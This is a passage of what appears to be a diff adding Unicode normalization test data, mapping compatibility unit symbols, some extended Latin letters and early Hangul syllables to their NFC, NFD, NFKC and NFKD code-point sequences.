+{ source: [0x3392], NFC: [0x3392], NFD: [0x3392], NFKC: [0x004D, 0x0048, 0x007A], NFKD: [0x004D, 0x0048, 0x007A] },
+{ source: [0x3393], NFC: [0x3393], NFD: [0x3393], NFKC: [0x0047, 0x0048, 0x007A], NFKD: [0x0047, 0x0048, 0x007A] },
+{ source: [0x3394], NFC: [0x3394], NFD: [0x3394], NFKC: [0x0054, 0x0048, 0x007A], NFKD: [0x0054, 0x0048, 0x007A] },
+{ source: [0x3395], NFC: [0x3395], NFD: [0x3395], NFKC: [0x03BC, 0x006C], NFKD: [0x03BC, 0x006C] },
+{ source: [0x3396], NFC: [0x3396], NFD: [0x3396], NFKC: [0x006D, 0x006C], NFKD: [0x006D, 0x006C] },
+{ source: [0x3397], NFC: [0x3397], NFD: [0x3397], NFKC: [0x0064, 0x006C], NFKD: [0x0064, 0x006C] },
+{ source: [0x3398], NFC: [0x3398], NFD: [0x3398], NFKC: [0x006B, 0x006C], NFKD: [0x006B, 0x006C] },
+{ source: [0x3399], NFC: [0x3399], NFD: [0x3399], NFKC: [0x0066, 0x006D], NFKD: [0x0066, 0x006D] },
+{ source: [0x339A], NFC: [0x339A], NFD: [0x339A], NFKC: [0x006E, 0x006D], NFKD: [0x006E, 0x006D] },
+{ source: [0x339B], NFC: [0x339B], NFD: [0x339B], NFKC: [0x03BC, 0x006D], NFKD: [0x03BC, 0x006D] },
+{ source: [0x339C], NFC: [0x339C], NFD: [0x339C], NFKC: [0x006D, 0x006D], NFKD: [0x006D, 0x006D] },
+{ source: [0x339D], NFC: [0x339D], NFD: [0x339D], NFKC: [0x0063, 0x006D], NFKD: [0x0063, 0x006D] },
+{ source: [0x339E], NFC: [0x339E], NFD: [0x339E], NFKC: [0x006B, 0x006D], NFKD: [0x006B, 0x006D] },
+{ source: [0x339F], NFC: [0x339F], NFD: [0x339F], NFKC: [0x006D, 0x006D, 0x0032], NFKD: [0x006D, 0x006D, 0x0032] },
+{ source: [0x33A0], NFC: [0x33A0], NFD: [0x33A0], NFKC: [0x0063, 0x006D, 0x0032], NFKD: [0x0063, 0x006D, 0x0032] },
+{ source: [0x33A1], NFC: [0x33A1], NFD: [0x33A1], NFKC: [0x006D, 0x0032], NFKD: [0x006D, 0x0032] },
+{ source: [0x33A2], NFC: [0x33A2], NFD: [0x33A2], NFKC: [0x006B, 0x006D, 0x0032], NFKD: [0x006B, 0x006D, 0x0032] },
+{ source: [0x33A3], NFC: [0x33A3], NFD: [0x33A3], NFKC: [0x006D, 0x006D, 0x0033], NFKD: [0x006D, 0x006D, 0x0033] },
+{ source: [0x33A4], NFC: [0x33A4], NFD: [0x33A4], NFKC: [0x0063, 0x006D, 0x0033], NFKD: [0x0063, 0x006D, 0x0033] },
+{ source: [0x33A5], NFC: [0x33A5], NFD: [0x33A5], NFKC: [0x006D, 0x0033], NFKD: [0x006D, 0x0033] },
+{ source: [0x33A6], NFC: [0x33A6], NFD: [0x33A6], NFKC: [0x006B, 0x006D, 0x0033], NFKD: [0x006B, 0x006D, 0x0033] },
+{ source: [0x33A7], NFC: [0x33A7], NFD: [0x33A7], NFKC: [0x006D, 0x2215, 0x0073], NFKD: [0x006D, 0x2215, 0x0073] },
+{ source: [0x33A8], NFC: [0x33A8], NFD: [0x33A8], NFKC: [0x006D, 0x2215, 0x0073, 0x0032], NFKD: [0x006D, 0x2215, 0x0073, 0x0032] },
+{ source: [0x33A9], NFC: [0x33A9], NFD: [0x33A9], NFKC: [0x0050, 0x0061], NFKD: [0x0050, 0x0061] },
+{ source: [0x33AA], NFC: [0x33AA], NFD: [0x33AA], NFKC: [0x006B, 0x0050, 0x0061], NFKD: [0x006B, 0x0050, 0x0061] },
+{ source: [0x33AB], NFC: [0x33AB], NFD: [0x33AB], NFKC: [0x004D, 0x0050, 0x0061], NFKD: [0x004D, 0x0050, 0x0061] },
+{ source: [0x33AC], NFC: [0x33AC], NFD: [0x33AC], NFKC: [0x0047, 0x0050, 0x0061], NFKD: [0x0047, 0x0050, 0x0061] },
+{ source: [0x33AD], NFC: [0x33AD], NFD: [0x33AD], NFKC: [0x0072, 0x0061, 0x0064], NFKD: [0x0072, 0x0061, 0x0064] },
+{ source: [0x33AE], NFC: [0x33AE], NFD: [0x33AE], NFKC: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073], NFKD: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073] },
+{ source: [0x33AF], NFC: [0x33AF], NFD: [0x33AF], NFKC: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073, 0x0032], NFKD: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073, 0x0032] },
+{ source: [0x33B0], NFC: [0x33B0], NFD: [0x33B0], NFKC: [0x0070, 0x0073], NFKD: [0x0070, 0x0073] },
+{ source: [0x33B1], NFC: [0x33B1], NFD: [0x33B1], NFKC: [0x006E, 0x0073], NFKD: [0x006E, 0x0073] },
+{ source: [0x33B2], NFC: [0x33B2], NFD: [0x33B2], NFKC: [0x03BC, 0x0073], NFKD: [0x03BC, 0x0073] },
+{ source: [0x33B3], NFC: [0x33B3], NFD: [0x33B3], NFKC: [0x006D, 0x0073], NFKD: [0x006D, 0x0073] },
+{ source: [0x33B4], NFC: [0x33B4], NFD: [0x33B4], NFKC: [0x0070, 0x0056], NFKD: [0x0070, 0x0056] },
+{ source: [0x33B5], NFC: [0x33B5], NFD: [0x33B5], NFKC: [0x006E, 0x0056], NFKD: [0x006E, 0x0056] },
+{ source: [0x33B6], NFC: [0x33B6], NFD: [0x33B6], NFKC: [0x03BC, 0x0056], NFKD: [0x03BC, 0x0056] },
+{ source: [0x33B7], NFC: [0x33B7], NFD: [0x33B7], NFKC: [0x006D, 0x0056], NFKD: [0x006D, 0x0056] },
+{ source: [0x33B8], NFC: [0x33B8], NFD: [0x33B8], NFKC: [0x006B, 0x0056], NFKD: [0x006B, 0x0056] },
+{ source: [0x33B9], NFC: [0x33B9], NFD: [0x33B9], NFKC: [0x004D, 0x0056], NFKD: [0x004D, 0x0056] },
+{ source: [0x33BA], NFC: [0x33BA], NFD: [0x33BA], NFKC: [0x0070, 0x0057], NFKD: [0x0070, 0x0057] },
+{ source: [0x33BB], NFC: [0x33BB], NFD: [0x33BB], NFKC: [0x006E, 0x0057], NFKD: [0x006E, 0x0057] },
+{ source: [0x33BC], NFC: [0x33BC], NFD: [0x33BC], NFKC: [0x03BC, 0x0057], NFKD: [0x03BC, 0x0057] },
+{ source: [0x33BD], NFC: [0x33BD], NFD: [0x33BD], NFKC: [0x006D, 0x0057], NFKD: [0x006D, 0x0057] },
+{ source: [0x33BE], NFC: [0x33BE], NFD: [0x33BE], NFKC: [0x006B, 0x0057], NFKD: [0x006B, 0x0057] },
+{ source: [0x33BF], NFC: [0x33BF], NFD: [0x33BF], NFKC: [0x004D, 0x0057], NFKD: [0x004D, 0x0057] },
+{ source: [0x33C0], NFC: [0x33C0], NFD: [0x33C0], NFKC: [0x006B, 0x03A9], NFKD: [0x006B, 0x03A9] },
+{ source: [0x33C1], NFC: [0x33C1], NFD: [0x33C1], NFKC: [0x004D, 0x03A9], NFKD: [0x004D, 0x03A9] },
+{ source: [0x33C2], NFC: [0x33C2], NFD: [0x33C2], NFKC: [0x0061, 0x002E, 0x006D, 0x002E], NFKD: [0x0061, 0x002E, 0x006D, 0x002E] },
+{ source: [0x33C3], NFC: [0x33C3], NFD: [0x33C3], NFKC: [0x0042, 0x0071], NFKD: [0x0042, 0x0071] },
+{ source: [0x33C4], NFC: [0x33C4], NFD: [0x33C4], NFKC: [0x0063, 0x0063], NFKD: [0x0063, 0x0063] },
+{ source: [0x33C5], NFC: [0x33C5], NFD: [0x33C5], NFKC: [0x0063, 0x0064], NFKD: [0x0063, 0x0064] },
+{ source: [0x33C6], NFC: [0x33C6], NFD: [0x33C6], NFKC: [0x0043, 0x2215, 0x006B, 0x0067], NFKD: [0x0043, 0x2215, 0x006B, 0x0067] },
+{ source: [0x33C7], NFC: [0x33C7], NFD: [0x33C7], NFKC: [0x0043, 0x006F, 0x002E], NFKD: [0x0043, 0x006F, 0x002E] },
+{ source: [0x33C8], NFC: [0x33C8], NFD: [0x33C8], NFKC: [0x0064, 0x0042], NFKD: [0x0064, 0x0042] },
+{ source: [0x33C9], NFC: [0x33C9], NFD: [0x33C9], NFKC: [0x0047, 0x0079], NFKD: [0x0047, 0x0079] },
+{ source: [0x33CA], NFC: [0x33CA], NFD: [0x33CA], NFKC: [0x0068, 0x0061], NFKD: [0x0068, 0x0061] },
+{ source: [0x33CB], NFC: [0x33CB], NFD: [0x33CB], NFKC: [0x0048, 0x0050], NFKD: [0x0048, 0x0050] },
+{ source: [0x33CC], NFC: [0x33CC], NFD: [0x33CC], NFKC: [0x0069, 0x006E], NFKD: [0x0069, 0x006E] },
+{ source: [0x33CD], NFC: [0x33CD], NFD: [0x33CD], NFKC: [0x004B, 0x004B], NFKD: [0x004B, 0x004B] },
+{ source: [0x33CE], NFC: [0x33CE], NFD: [0x33CE], NFKC: [0x004B, 0x004D], NFKD: [0x004B, 0x004D] },
+{ source: [0x33CF], NFC: [0x33CF], NFD: [0x33CF], NFKC: [0x006B, 0x0074], NFKD: [0x006B, 0x0074] },
+{ source: [0x33D0], NFC: [0x33D0], NFD: [0x33D0], NFKC: [0x006C, 0x006D], NFKD: [0x006C, 0x006D] },
+{ source: [0x33D1], NFC: [0x33D1], NFD: [0x33D1], NFKC: [0x006C, 0x006E], NFKD: [0x006C, 0x006E] },
+{ source: [0x33D2], NFC: [0x33D2], NFD: [0x33D2], NFKC: [0x006C, 0x006F, 0x0067], NFKD: [0x006C, 0x006F, 0x0067] },
+{ source: [0x33D3], NFC: [0x33D3], NFD: [0x33D3], NFKC: [0x006C, 0x0078], NFKD: [0x006C, 0x0078] },
+{ source: [0x33D4], NFC: [0x33D4], NFD: [0x33D4], NFKC: [0x006D, 0x0062], NFKD: [0x006D, 0x0062] },
+{ source: [0x33D5], NFC: [0x33D5], NFD: [0x33D5], NFKC: [0x006D, 0x0069, 0x006C], NFKD: [0x006D, 0x0069, 0x006C] },
+{ source: [0x33D6], NFC: [0x33D6], NFD: [0x33D6], NFKC: [0x006D, 0x006F, 0x006C], NFKD: [0x006D, 0x006F, 0x006C] },
+{ source: [0x33D7], NFC: [0x33D7], NFD: [0x33D7], NFKC: [0x0050, 0x0048], NFKD: [0x0050, 0x0048] },
+{ source: [0x33D8], NFC: [0x33D8], NFD: [0x33D8], NFKC: [0x0070, 0x002E, 0x006D, 0x002E], NFKD: [0x0070, 0x002E, 0x006D, 0x002E] },
+{ source: [0x33D9], NFC: [0x33D9], NFD: [0x33D9], NFKC: [0x0050, 0x0050, 0x004D], NFKD: [0x0050, 0x0050, 0x004D] },
+{ source: [0x33DA], NFC: [0x33DA], NFD: [0x33DA], NFKC: [0x0050, 0x0052], NFKD: [0x0050, 0x0052] },
+{ source: [0x33DB], NFC: [0x33DB], NFD: [0x33DB], NFKC: [0x0073, 0x0072], NFKD: [0x0073, 0x0072] },
+{ source: [0x33DC], NFC: [0x33DC], NFD: [0x33DC], NFKC: [0x0053, 0x0076], NFKD: [0x0053, 0x0076] },
+{ source: [0x33DD], NFC: [0x33DD], NFD: [0x33DD], NFKC: [0x0057, 0x0062], NFKD: [0x0057, 0x0062] },
+{ source: [0x33DE], NFC: [0x33DE], NFD: [0x33DE], NFKC: [0x0056, 0x2215, 0x006D], NFKD: [0x0056, 0x2215, 0x006D] },
+{ source: [0x33DF], NFC: [0x33DF], NFD: [0x33DF], NFKC: [0x0041, 0x2215, 0x006D], NFKD: [0x0041, 0x2215, 0x006D] },
+{ source: [0x33E0], NFC: [0x33E0], NFD: [0x33E0], NFKC: [0x0031, 0x65E5], NFKD: [0x0031, 0x65E5] },
+{ source: [0x33E1], NFC: [0x33E1], NFD: [0x33E1], NFKC: [0x0032, 0x65E5], NFKD: [0x0032, 0x65E5] },
+{ source: [0x33E2], NFC: [0x33E2], NFD: [0x33E2], NFKC: [0x0033, 0x65E5], NFKD: [0x0033, 0x65E5] },
+{ source: [0x33E3], NFC: [0x33E3], NFD: [0x33E3], NFKC: [0x0034, 0x65E5], NFKD: [0x0034, 0x65E5] },
+{ source: [0x33E4], NFC: [0x33E4], NFD: [0x33E4], NFKC: [0x0035, 0x65E5], NFKD: [0x0035, 0x65E5] },
+{ source: [0x33E5], NFC: [0x33E5], NFD: [0x33E5], NFKC: [0x0036, 0x65E5], NFKD: [0x0036, 0x65E5] },
+{ source: [0x33E6], NFC: [0x33E6], NFD: [0x33E6], NFKC: [0x0037, 0x65E5], NFKD: [0x0037, 0x65E5] },
+{ source: [0x33E7], NFC: [0x33E7], NFD: [0x33E7], NFKC: [0x0038, 0x65E5], NFKD: [0x0038, 0x65E5] },
+{ source: [0x33E8], NFC: [0x33E8], NFD: [0x33E8], NFKC: [0x0039, 0x65E5], NFKD: [0x0039, 0x65E5] },
+{ source: [0x33E9], NFC: [0x33E9], NFD: [0x33E9], NFKC: [0x0031, 0x0030, 0x65E5], NFKD: [0x0031, 0x0030, 0x65E5] },
+{ source: [0x33EA], NFC: [0x33EA], NFD: [0x33EA], NFKC: [0x0031, 0x0031, 0x65E5], NFKD: [0x0031, 0x0031, 0x65E5] },
+{ source: [0x33EB], NFC: [0x33EB], NFD: [0x33EB], NFKC: [0x0031, 0x0032, 0x65E5], NFKD: [0x0031, 0x0032, 0x65E5] },
+{ source: [0x33EC], NFC: [0x33EC], NFD: [0x33EC], NFKC: [0x0031, 0x0033, 0x65E5], NFKD: [0x0031, 0x0033, 0x65E5] },
+{ source: [0x33ED], NFC: [0x33ED], NFD: [0x33ED], NFKC: [0x0031, 0x0034, 0x65E5], NFKD: [0x0031, 0x0034, 0x65E5] },
+{ source: [0x33EE], NFC: [0x33EE], NFD: [0x33EE], NFKC: [0x0031, 0x0035, 0x65E5], NFKD: [0x0031, 0x0035, 0x65E5] },
+{ source: [0x33EF], NFC: [0x33EF], NFD: [0x33EF], NFKC: [0x0031, 0x0036, 0x65E5], NFKD: [0x0031, 0x0036, 0x65E5] },
+{ source: [0x33F0], NFC: [0x33F0], NFD: [0x33F0], NFKC: [0x0031, 0x0037, 0x65E5], NFKD: [0x0031, 0x0037, 0x65E5] },
+{ source: [0x33F1], NFC: [0x33F1], NFD: [0x33F1], NFKC: [0x0031, 0x0038, 0x65E5], NFKD: [0x0031, 0x0038, 0x65E5] },
+{ source: [0x33F2], NFC: [0x33F2], NFD: [0x33F2], NFKC: [0x0031, 0x0039, 0x65E5], NFKD: [0x0031, 0x0039, 0x65E5] },
+{ source: [0x33F3], NFC: [0x33F3], NFD: [0x33F3], NFKC: [0x0032, 0x0030, 0x65E5], NFKD: [0x0032, 0x0030, 0x65E5] },
+{ source: [0x33F4], NFC: [0x33F4], NFD: [0x33F4], NFKC: [0x0032, 0x0031, 0x65E5], NFKD: [0x0032, 0x0031, 0x65E5] },
+{ source: [0x33F5], NFC: [0x33F5], NFD: [0x33F5], NFKC: [0x0032, 0x0032, 0x65E5], NFKD: [0x0032, 0x0032, 0x65E5] },
+{ source: [0x33F6], NFC: [0x33F6], NFD: [0x33F6], NFKC: [0x0032, 0x0033, 0x65E5], NFKD: [0x0032, 0x0033, 0x65E5] },
+{ source: [0x33F7], NFC: [0x33F7], NFD: [0x33F7], NFKC: [0x0032, 0x0034, 0x65E5], NFKD: [0x0032, 0x0034, 0x65E5] },
+{ source: [0x33F8], NFC: [0x33F8], NFD: [0x33F8], NFKC: [0x0032, 0x0035, 0x65E5], NFKD: [0x0032, 0x0035, 0x65E5] },
+{ source: [0x33F9], NFC: [0x33F9], NFD: [0x33F9], NFKC: [0x0032, 0x0036, 0x65E5], NFKD: [0x0032, 0x0036, 0x65E5] },
+{ source: [0x33FA], NFC: [0x33FA], NFD: [0x33FA], NFKC: [0x0032, 0x0037, 0x65E5], NFKD: [0x0032, 0x0037, 0x65E5] },
+{ source: [0x33FB], NFC: [0x33FB], NFD: [0x33FB], NFKC: [0x0032, 0x0038, 0x65E5], NFKD: [0x0032, 0x0038, 0x65E5] },
+{ source: [0x33FC], NFC: [0x33FC], NFD: [0x33FC], NFKC: [0x0032, 0x0039, 0x65E5], NFKD: [0x0032, 0x0039, 0x65E5] },
+{ source: [0x33FD], NFC: [0x33FD], NFD: [0x33FD], NFKC: [0x0033, 0x0030, 0x65E5], NFKD: [0x0033, 0x0030, 0x65E5] },
+{ source: [0x33FE], NFC: [0x33FE], NFD: [0x33FE], NFKC: [0x0033, 0x0031, 0x65E5], NFKD: [0x0033, 0x0031, 0x65E5] },
+{ source: [0x33FF], NFC: [0x33FF], NFD: [0x33FF], NFKC: [0x0067, 0x0061, 0x006C], NFKD: [0x0067, 0x0061, 0x006C] },
+{ source: [0xA69C], NFC: [0xA69C], NFD: [0xA69C], NFKC: [0x044A], NFKD: [0x044A] },
+{ source: [0xA69D], NFC: [0xA69D], NFD: [0xA69D], NFKC: [0x044C], NFKD: [0x044C] },
+{ source: [0xA770], NFC: [0xA770], NFD: [0xA770], NFKC: [0xA76F], NFKD: [0xA76F] },
+{ source: [0xA7F2], NFC: [0xA7F2], NFD: [0xA7F2], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0xA7F3], NFC: [0xA7F3], NFD: [0xA7F3], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0xA7F4], NFC: [0xA7F4], NFD: [0xA7F4], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0xA7F8], NFC: [0xA7F8], NFD: [0xA7F8], NFKC: [0x0126], NFKD: [0x0126] },
+{ source: [0xA7F9], NFC: [0xA7F9], NFD: [0xA7F9], NFKC: [0x0153], NFKD: [0x0153] },
+{ source: [0xAB5C], NFC: [0xAB5C], NFD: [0xAB5C], NFKC: [0xA727], NFKD: [0xA727] },
+{ source: [0xAB5D], NFC: [0xAB5D], NFD: [0xAB5D], NFKC: [0xAB37], NFKD: [0xAB37] },
+{ source: [0xAB5E], NFC: [0xAB5E], NFD: [0xAB5E], NFKC: [0x026B], NFKD: [0x026B] },
+{ source: [0xAB5F], NFC: [0xAB5F], NFD: [0xAB5F], NFKC: [0xAB52], NFKD: [0xAB52] },
+{ source: [0xAB69], NFC: [0xAB69], NFD: [0xAB69], NFKC: [0x028D], NFKD: [0x028D] },
+{ source: [0xAC00], NFC: [0xAC00], NFD: [0x1100, 0x1161], NFKC: [0xAC00], NFKD: [0x1100, 0x1161] },
+{ source: [0xAC01], NFC: [0xAC01], NFD: [0x1100, 0x1161, 0x11A8], NFKC: [0xAC01], NFKD: [0x1100, 0x1161, 0x11A8] },
+{ source: [0xAC02], NFC: [0xAC02], NFD: [0x1100, 0x1161, 0x11A9], NFKC: [0xAC02], NFKD: [0x1100, 0x1161, 0x11A9] },
+{ source: [0xAC03], NFC: [0xAC03], NFD: [0x1100, 0x1161, 0x11AA], NFKC: [0xAC03], NFKD: [0x1100, 0x1161, 0x11AA] },
+{ source: [0xAC04], NFC: [0xAC04], NFD: [0x1100, 0x1161, 0x11AB], NFKC: [0xAC04], NFKD: [0x1100, 0x1161, 0x11AB] },
+{ source: [0xAC05], NFC: [0xAC05], NFD: [0x1100, 0x1161, 0x11AC], NFKC: [0xAC05], NFKD: [0x1100, 0x1161, 0x11AC] },
+{ source: [0xAC06], NFC: [0xAC06], NFD: [0x1100, 0x1161, 0x11AD], NFKC: [0xAC06], NFKD: [0x1100, 0x1161, 0x11AD] },
+{ source: [0xAC07], NFC: [0xAC07], NFD: [0x1100, 0x1161, 0x11AE], NFKC: [0xAC07], NFKD: [0x1100, 0x1161, 0x11AE] },
+{ source: [0xAC08], NFC: [0xAC08], NFD: [0x1100, 0x1161, 0x11AF], NFKC: [0xAC08], NFKD: [0x1100, 0x1161, 0x11AF] },
+{ source: [0xAC09], NFC: [0xAC09], NFD: [0x1100, 0x1161, 0x11B0], NFKC: [0xAC09], NFKD: [0x1100, 0x1161, 0x11B0] },
+{ source: [0xAC0A], NFC: [0xAC0A], NFD: [0x1100, 0x1161, 0x11B1], NFKC: [0xAC0A], NFKD: [0x1100, 0x1161, 0x11B1] },
+{ source: [0xAC0B], NFC: [0xAC0B], NFD: [0x1100, 0x1161, 0x11B2], NFKC: [0xAC0B], NFKD: [0x1100, 0x1161, 0x11B2] },
+{ source: [0xAC0C], NFC: [0xAC0C], NFD: [0x1100, 0x1161, 0x11B3], NFKC: [0xAC0C], NFKD: [0x1100, 0x1161, 0x11B3] },
+{ source: [0xAC0D], NFC: [0xAC0D], NFD: [0x1100, 0x1161, 0x11B4], NFKC: [0xAC0D], NFKD: [0x1100, 0x1161, 0x11B4] },
+{ source: [0xAC0E], NFC: [0xAC0E], NFD: [0x1100, 0x1161, 0x11B5], NFKC: [0xAC0E], NFKD: [0x1100, 0x1161, 0x11B5] },
+{ source: [0xAC0F], NFC: [0xAC0F], NFD: [0x1100, 0x1161, 0x11B6], NFKC: [0xAC0F], NFKD: [0x1100, 0x1161, 0x11B6] },
+{ source: [0xAC10], NFC: [0xAC10], NFD: [0x1100, 0x1161, 0x11B7], NFKC: [0xAC10], NFKD: [0x1100, 0x1161, 0x11B7] },
+{ source: [0xAC11], NFC: [0xAC11], NFD: [0x1100, 0x1161, 0x11B8], NFKC: [0xAC11], NFKD: [0x1100, 0x1161, 0x11B8] },
+{ source: [0xAC12], NFC: [0xAC12], NFD: [0x1100, 0x1161, 0x11B9], NFKC: [0xAC12], NFKD: [0x1100, 0x1161, 0x11B9] },
+{ source: [0xAC13], NFC: [0xAC13], NFD: [0x1100, 0x1161, 0x11BA], NFKC: [0xAC13], NFKD: [0x1100, 0x1161, 0x11BA] },
+{ source: [0xAC14], NFC: [0xAC14], NFD: [0x1100, 0x1161, 0x11BB], NFKC: [0xAC14], NFKD: [0x1100, 0x1161, 0x11BB] },
+{ source: [0xAC15], NFC: [0xAC15], NFD: [0x1100, 0x1161, 0x11BC], NFKC: [0xAC15], NFKD: [0x1100, 0x1161, 0x11BC] },
+{ source: [0xAC16], NFC: [0xAC16], NFD: [0x1100, 0x1161, 0x11BD], NFKC: [0xAC16], NFKD: [0x1100, 0x1161, 0x11BD] },
+{ source: [0xAC17], NFC: [0xAC17], NFD: [0x1100, 0x1161, 0x11BE], NFKC: [0xAC17], NFKD: [0x1100, 0x1161, 0x11BE] },
+{ source: [0xAC18], NFC: [0xAC18], NFD: [0x1100, 0x1161, 0x11BF], NFKC: [0xAC18], NFKD: [0x1100, 0x1161, 0x11BF] },
+{ source: [0xAC19], NFC: [0xAC19], NFD: [0x1100, 0x1161, 0x11C0], NFKC: [0xAC19], NFKD: [0x1100, 0x1161, 0x11C0] },
+{ source: [0xAC1A], NFC: [0xAC1A], NFD: [0x1100, 0x1161, 0x11C1], NFKC: [0xAC1A], NFKD: [0x1100, 0x1161, 0x11C1] },
+{ source: [0xAC1B], NFC: [0xAC1B], NFD: [0x1100, 0x1161, 0x11C2], NFKC: [0xAC1B], NFKD: [0x1100, 0x1161, 0x11C2] },
+{ source: [0xAC1C], NFC: [0xAC1C], NFD: [0x1100, 0x1162], NFKC: [0xAC1C], NFKD: [0x1100, 0x1162] },
+{ source: [0xAC1D], NFC: [0xAC1D], NFD: [0x1100, 0x1162, 0x11A8], NFKC: [0xAC1D], NFKD: [0x1100, 0x1162, 0x11A8] },
+{ source: [0xAC1E], NFC: [0xAC1E], NFD: [0x1100, 0x1162, 0x11A9], NFKC: [0xAC1E], NFKD: [0x1100, 0x1162, 0x11A9] },
+{ source: [0xAC1F], NFC: [0xAC1F], NFD: [0x1100, 0x1162, 0x11AA], NFKC: [0xAC1F], NFKD: [0x1100, 0x1162, 0x11AA] },
+{ source: [0xAC20], NFC: [0xAC20], NFD: [0x1100, 0x1162, 0x11AB], NFKC: [0xAC20], NFKD: [0x1100, 0x1162, 0x11AB] },
+{ source: [0xAC21], NFC: [0xAC21], NFD: [0x1100, 0x1162, 0x11AC], NFKC: [0xAC21], NFKD: [0x1100, 0x1162, 0x11AC] },
+{ source: [0xAC22], NFC: [0xAC22], NFD: [0x1100, 0x1162, 0x11AD], NFKC: [0xAC22], NFKD: [0x1100, 0x1162, 0x11AD] },
+{ source: [0xAC23], NFC: [0xAC23], NFD: [0x1100, 0x1162, 0x11AE], NFKC: [0xAC23], NFKD: [0x1100, 0x1162, 0x11AE] },
+{ source: [0xAC24], NFC: [0xAC24], NFD: [0x1100, 0x1162, 0x11AF], NFKC: [0xAC24], NFKD: [0x1100, 0x1162, 0x11AF] },
+{ source: [0xAC25], NFC: [0xAC25], NFD: [0x1100, 0x1162, 0x11B0], NFKC: [0xAC25], NFKD: [0x1100, 0x1162, 0x11B0] },
+{ source: [0xAC26], NFC: [0xAC26], NFD: [0x1100, 0x1162, 0x11B1], NFKC: [0xAC26], NFKD: [0x1100, 0x1162, 0x11B1] },
+{ source: [0xAC27], NFC: [0xAC27], NFD: [0x1100, 0x1162, 0x11B2], NFKC: [0xAC27], NFKD: [0x1100, 0x1162, 0x11B2] },
+{ source: [0xAC28], NFC: [0xAC28], NFD: [0x1100, 0x1162, 0x11B3], NFKC: [0xAC28], NFKD: [0x1100, 0x1162, 0x11B3] },
+{ source: [0xAC29], NFC: [0xAC29], NFD: [0x1100, 0x1162, 0x11B4], NFKC: [0xAC29], NFKD: [0x1100, 0x1162, 0x11B4] },
+{ source: [0xAC2A], NFC: [0xAC2A], NFD: [0x1100, 0x1162, 0x11B5], NFKC: [0xAC2A], NFKD: [0x1100, 0x1162, 0x11B5] },
+{ source: [0xAC2B], NFC: [0xAC2B], NFD: [0x1100, 0x1162, 0x11B6], NFKC: [0xAC2B], NFKD: [0x1100, 0x1162, 0x11B6] },
+{ source: [0xAC2C], NFC: [0xAC2C], NFD: [0x1100, 0x1162, 0x11B7], NFKC: [0xAC2C], NFKD: [0x1100, 0x1162, 0x11B7] },
+{ source: [0xAC2D], NFC: [0xAC2D], NFD: [0x1100, 0x1162, 0x11B8], NFKC: [0xAC2D], NFKD: [0x1100, 0x1162, 0x11B8] },
+{ source: [0xAC2E], NFC: [0xAC2E], NFD: [0x1100, 0x1162, 0x11B9], NFKC: [0xAC2E], NFKD: [0x1100, 0x1162, 0x11B9] },
+{ source: [0xAC2F], NFC: [0xAC2F], NFD: [0x1100, 0x1162, 0x11BA], NFKC: [0xAC2F], NFKD: [0x1100, 0x1162, 0x11BA] },
+{ source: [0xAC30], NFC: [0xAC30], NFD: [0x1100, 0x1162, 0x11BB], NFKC: [0xAC30], NFKD: [0x1100, 0x1162, 0x11BB] },
+{ source: [0xAC31], NFC: [0xAC31], NFD: [0x1100, 0x1162, 0x11BC], NFKC: [0xAC31], NFKD: [0x1100, 0x1162, 0x11BC] },
+{ source: [0xAC32], NFC: [0xAC32], NFD: [0x1100, 0x1162, 0x11BD], NFKC: [0xAC32], NFKD: [0x1100, 0x1162, 0x11BD] },
+{ source: [0xAC33], NFC: [0xAC33], NFD: [0x1100, 0x1162, 0x11BE], NFKC: [0xAC33], NFKD: [0x1100, 0x1162, 0x11BE] },
+{ source: [0xAC34], NFC: [0xAC34], NFD: [0x1100, 0x1162, 0x11BF], NFKC: [0xAC34], NFKD: [0x1100, 0x1162, 0x11BF] },
+{ source: [0xAC35], NFC: [0xAC35], NFD: [0x1100, 0x1162, 0x11C0], NFKC: [0xAC35], NFKD: [0x1100, 0x1162, 0x11C0] },
+{ source: [0xAC36], NFC: [0xAC36], NFD: [0x1100, 0x1162, 0x11C1], NFKC: [0xAC36], NFKD: [0x1100, 0x1162, 0x11C1] },
+{ source: [0xAC37], NFC: [0xAC37], NFD: [0x1100, 0x1162, 0x11C2], NFKC: [0xAC37], NFKD: [0x1100, 0x1162, 0x11C2] },
+{ source: [0xAC38], NFC: [0xAC38], NFD: [0x1100, 0x1163], NFKC: [0xAC38], NFKD: [0x1100, 0x1163] },
+{ source: [0xAC39], NFC: [0xAC39], NFD: [0x1100, 0x1163, 0x11A8], NFKC: [0xAC39], NFKD: [0x1100, 0x1163, 0x11A8] },
+{ source: [0xAC3A], NFC: [0xAC3A], NFD: [0x1100, 0x1163, 0x11A9], NFKC: [0xAC3A], NFKD: [0x1100, 0x1163, 0x11A9] },
+{ source: [0xAC3B], NFC: [0xAC3B], NFD: [0x1100, 0x1163, 0x11AA], NFKC: [0xAC3B], NFKD: [0x1100, 0x1163, 0x11AA] },
+{ source: [0xAC3C], NFC: [0xAC3C], NFD: [0x1100, 0x1163, 0x11AB], NFKC: [0xAC3C], NFKD: [0x1100, 0x1163, 0x11AB] },
+{ source: [0xAC3D], NFC: [0xAC3D], NFD: [0x1100, 0x1163, 0x11AC], NFKC: [0xAC3D], NFKD: [0x1100, 0x1163, 0x11AC] },
+{ source: [0xAC3E], NFC: [0xAC3E], NFD: [0x1100, 0x1163, 0x11AD], NFKC: [0xAC3E], NFKD: [0x1100, 0x1163, 0x11AD] },
+{ source: [0xAC3F], NFC: [0xAC3F], NFD: [0x1100, 0x1163, 0x11AE], NFKC: [0xAC3F], NFKD: [0x1100, 0x1163, 0x11AE] },
+{ source: [0xAC40], NFC: [0xAC40], NFD: [0x1100, 0x1163, 0x11AF], NFKC: [0xAC40], NFKD: [0x1100, 0x1163, 0x11AF] },
+{ source: [0xAC41], NFC: [0xAC41], NFD: [0x1100, 0x1163, 0x11B0], NFKC: [0xAC41], NFKD: [0x1100, 0x1163, 0x11B0] },
+{ source: [0xAC42], NFC: [0xAC42], NFD: [0x1100, 0x1163, 0x11B1], NFKC: [0xAC42], NFKD: [0x1100, 0x1163, 0x11B1] },
+{ source: [0xAC43], NFC: [0xAC43], NFD: [0x1100, 0x1163, 0x11B2], NFKC: [0xAC43], NFKD: [0x1100, 0x1163, 0x11B2] },
